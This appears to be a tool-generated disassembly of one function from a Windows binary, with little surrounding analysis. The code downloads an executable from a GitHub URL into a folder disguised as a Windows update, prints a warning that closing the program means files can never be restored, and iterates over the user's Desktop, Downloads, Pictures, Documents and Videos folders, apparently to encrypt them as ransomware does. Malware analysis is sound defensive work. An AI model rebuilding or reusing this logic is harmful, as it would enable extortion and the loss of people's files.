Function at 0x140018e0b
Capabilities:
Check if file exists
Get file attributes

Disassembly:
jmp 0x14003edf0
push rbp
push rdi
sub rsp, 0x828
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x172
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140062040]
xor rax, rbp
mov qword [rbp + 0x7f0], rax
lea rcx, [0x14006f13b]
call fcn.1400194d2
lea rcx, [rbp + 8]
call fcn.140018037
nop
lea r8, [rbp + 8]
lea rdx, str.C:Users_
lea rcx, [rbp + 0x4a8]
call fcn.1400180e6
mov qword [rbp + 0x7d8], rax
mov rax, qword [rbp + 0x7d8]
mov qword [rbp + 0x7e0], rax
lea r8, str.AppDataLocalWindowsUpdate2.4.7desec.exe
mov rdx, qword [rbp + 0x7e0]
lea rcx, [rbp + 0x48]
call fcn.140019301
nop
lea rcx, [rbp + 0x4a8]
call fcn.1400183d4
lea rdx, str.https:__raw.githubusercontent.com_randompersonsomenone_sec_main_desec.exe
lea rcx, [rbp + 0x88]
call fcn.14001896a
nop
lea rdx, [rbp + 0x48]
lea rcx, [rbp + 0x88]
call fcn.140018cbc
movzx eax, al
test eax, eax
jne 0x14003ef03
mov r9d, 0x10
lea r8, str.Erreur
lea rdx, str.Erreur:_Impossible_de_t
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov dword [rbp + 0x4e4], 1
lea rcx, [rbp + 0x88]
call fcn.1400183d4
nop
lea rcx, [rbp + 0x48]
call fcn.1400183d4
nop
lea rcx, [rbp + 8]
call fcn.1400183d4
mov eax, dword [rbp + 0x4e4]
jmp 0x14003f432
lea rdx, str.desec.exe
lea rcx, [rbp + 0x508]
call fcn.1400186e0
nop
lea rcx, [rbp + 0x508]
call fcn.140018f91
nop
lea rcx, [rbp + 0x508]
call fcn.1400191bc
lea rdx, str.__DONT_CLOSE_OR_SHUTDOWN_OR_YOU_WHILE_NEVER_CAN_RESTORE_YOUR_FILE
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001825d
lea rcx, [rbp + 0xc8]
call fcn.140018730
nop
mov edx, 0x1e
lea rcx, [rbp + 0x108]
call fcn.140018479
nop
lea rcx, [rbp + 0x148]
call fcn.140018d5c
nop
lea rdx, [rbp + 0x148]
lea rcx, [rbp + 0x108]
call fcn.140018d02
lea r8, [rbp + 0xc8]
lea rdx, str.C:Users_
lea rcx, [rbp + 0x548]
call fcn.1400180e6
mov qword [rbp + 0x7d8], rax
mov rax, qword [rbp + 0x7d8]
mov qword [rbp + 0x7e0], rax
lea r8, str.Desktop
mov rdx, qword [rbp + 0x7e0]
lea rcx, [rbp + 0x188]
call fcn.140019301
nop
lea rcx, [rbp + 0x548]
call fcn.1400183d4
lea rcx, [rbp + 0x188]
call fcn.140018212
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov dword [rbp + 0x1c4], eax
cmp dword [rbp + 0x1c4], 0xffffffff
je 0x14003f01c
mov eax, dword [rbp + 0x1c4]
and eax, 0x10
test eax, eax
je 0x14003f01c
lea rdx, [rbp + 0x108]
lea rcx, [rbp + 0x188]
call fcn.140018b4a
lea r8, [rbp + 0xc8]
lea rdx, str.C:Users_
lea rcx, [rbp + 0x588]
call fcn.1400180e6
mov qword [rbp + 0x7d8], rax
mov rax, qword [rbp + 0x7d8]
mov qword [rbp + 0x7e0], rax
lea r8, str.Downloads
mov rdx, qword [rbp + 0x7e0]
lea rcx, [rbp + 0x5c8]
call fcn.140019301
mov qword [rbp + 0x7e8], rax
mov rdx, qword [rbp + 0x7e8]
lea rcx, [rbp + 0x188]
call fcn.1400185b4
lea rcx, [rbp + 0x5c8]
call fcn.1400183d4
nop
lea rcx, [rbp + 0x588]
call fcn.1400183d4
lea rcx, [rbp + 0x188]
call fcn.140018212
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov dword [rbp + 0x1c4], eax
cmp dword [rbp + 0x1c4], 0xffffffff
je 0x14003f0dc
mov eax, dword [rbp + 0x1c4]
and eax, 0x10
test eax, eax
je 0x14003f0dc
lea rdx, [rbp + 0x108]
lea rcx, [rbp + 0x188]
call fcn.140018b4a
lea r8, [rbp + 0xc8]
lea rdx, str.C:Users_
lea rcx, [rbp + 0x608]
call fcn.1400180e6
mov qword [rbp + 0x7d8], rax
mov rax, qword [rbp + 0x7d8]
mov qword [rbp + 0x7e0], rax
lea r8, str.Pictures
mov rdx, qword [rbp + 0x7e0]
lea rcx, [rbp + 0x648]
call fcn.140019301
mov qword [rbp + 0x7e8], rax
mov rdx, qword [rbp + 0x7e8]
lea rcx, [rbp + 0x188]
call fcn.1400185b4
lea rcx, [rbp + 0x648]
call fcn.1400183d4
nop
lea rcx, [rbp + 0x608]
call fcn.1400183d4
lea rcx, [rbp + 0x188]
call fcn.140018212
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov dword [rbp + 0x1c4], eax
cmp dword [rbp + 0x1c4], 0xffffffff
je 0x14003f19c
mov eax, dword [rbp + 0x1c4]
and eax, 0x10
test eax, eax
je 0x14003f19c
lea rdx, [rbp + 0x108]
lea rcx, [rbp + 0x188]
call fcn.140018b4a
lea r8, [rbp + 0xc8]
lea rdx, str.C:Users_
lea rcx, [rbp + 0x688]
call fcn.1400180e6
mov qword [rbp + 0x7d8], rax
mov rax, qword [rbp + 0x7d8]
mov qword [rbp + 0x7e0], rax
lea r8, str.Documents
mov rdx, qword [rbp + 0x7e0]
lea rcx, [rbp + 0x6c8]
call fcn.140019301
mov qword [rbp + 0x7e8], rax
mov rdx, qword [rbp + 0x7e8]
lea rcx, [rbp + 0x188]
call fcn.1400185b4
lea rcx, [rbp + 0x6c8]
call fcn.1400183d4
nop
lea rcx, [rbp + 0x688]
call fcn.1400183d4
lea rcx, [rbp + 0x188]
call fcn.140018212
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov dword [rbp + 0x1c4], eax
cmp dword [rbp + 0x1c4], 0xffffffff
je 0x14003f25c
mov eax, dword [rbp + 0x1c4]
and eax, 0x10
test eax, eax
je 0x14003f25c
lea rdx, [rbp + 0x108]
lea rcx, [rbp + 0x188]
call fcn.140018b4a
lea r8, [rbp + 0xc8]
lea rdx, str.C:Users_
lea rcx, [rbp + 0x708]
call fcn.1400180e6
mov qword [rbp + 0x7d8], rax
mov rax, qword [rbp + 0x7d8]
mov qword [rbp + 0x7e0], rax
lea r8, str.Videos
mov rdx, qword [rbp + 0x7e0]
lea rcx, [rbp + 0x748]
call fcn.140019301
mov qword [rbp + 0x7e8], rax
mov rdx, qword [rbp + 0x7e8]
lea rcx, [rbp + 0x188]
call fcn.1400185b4
lea rcx, [rbp + 0x748]
call fcn.1400183d4
nop
lea rcx, [rbp + 0x708]
call fcn.1400183d4
lea rcx, [rbp + 0x188]
call fcn.140018212
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov dword [rbp + 0x1c4], eax
cmp dword [rbp + 0x1c4], 0xffffffff
je 0x14003f31c
mov eax, dword [rbp + 0x1c4]
and eax, 0x10
test eax, eax
je 0x14003f31c
lea rdx, [rbp + 0x108]
lea rcx, [rbp + 0x188]
call fcn.140018b4a
xor r8d, r8d
lea rdx, [0x140055e3c]
lea rcx, [rbp + 0x1e8]
call fcn.14001815e
nop
lea rcx, [rbp + 0x1e8]
call fcn.140018965
movzx eax, al
test eax, eax
je 0x14003f38d
lea rcx, [rbp + 0x1e8]
call fcn.1400181d1
movzx eax, al
test eax, eax
je 0x14003f38d
lea rdx, [0x140055e3c]
lea rcx, [rbp + 0x788]
call fcn.14001896a
nop
lea rdx, [rbp + 0x108]
lea rcx, [rbp + 0x788]
call fcn.140018b4a
nop
lea rcx, [rbp + 0x788]
call fcn.1400183d4
lea rdx, str.C:Users
lea rcx, [rbp + 0x228]
call fcn.14001896a
nop
lea rdx, [rbp + 0x108]
lea rcx, [rbp + 0x228]
call fcn.140018b4a
mov dword [rbp + 0x7c4], 0
lea rcx, [rbp + 0x228]
call fcn.1400183d4
nop
lea rcx, [rbp + 0x1e8]
call fcn.1400192f2
nop
lea rcx, [rbp + 0x188]
call fcn.1400183d4
nop
lea rcx, [rbp + 0x148]
call fcn.1400183d4
nop
lea rcx, [rbp + 0x108]
call fcn.1400183d4
nop
lea rcx, [rbp + 0xc8]
call fcn.1400183d4
nop
lea rcx, [rbp + 0x88]
call fcn.1400183d4
nop
lea rcx, [rbp + 0x48]
call fcn.1400183d4
nop
lea rcx, [rbp + 8]
call fcn.1400183d4
mov eax, dword [rbp + 0x7c4]
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x140053140]
call fcn.14001911c
mov rax, rdi
mov rcx, qword [rbp + 0x7f0]
xor rcx, rbp
call fcn.140018a00
lea rsp, [rbp + 0x808]
pop rdi
pop rbp
ret